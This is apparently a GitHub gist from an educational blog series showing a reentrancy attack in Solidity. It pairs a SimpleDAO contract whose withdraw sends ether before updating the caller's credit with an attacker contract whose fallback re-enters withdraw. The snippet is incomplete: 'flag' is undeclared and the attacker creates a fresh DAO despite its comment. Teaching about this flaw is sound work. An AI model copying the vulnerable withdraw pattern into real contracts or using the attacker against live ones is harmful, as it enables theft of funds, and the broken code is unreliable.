Skip to content

Instantly share code, notes, and snippets.

@johnsoncarl
Last active Mar 29, 2020
Embed
What would you like to do?
Day 15 of 20 Days Blog series.
import "./SimpleDAO.sol";
contract attacker{
SimpleDAO DAO = new SimpleDAO(); // address of already deployed DAO contract
address a = address(DAO);
function() public payable{
if(flag) DAO.withdraw(DAO.retbalance());
}
}
contract SimpleDAO {
mapping (address => uint) public credit;
function() public payable{
}
function deposit(uint256 _amount) payable public{
credit[msg.sender] += _amount;
}
function withdraw(uint amount) public{
if (credit[msg.sender]>= amount) {
(msg.sender.call.value(amount)());
credit[msg.sender]-=amount;
}
}
function queryCredit(address to) view public returns(uint){
return credit[to];
}
function retbalance() public returns(uint256 _A){
return address(this).balance;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment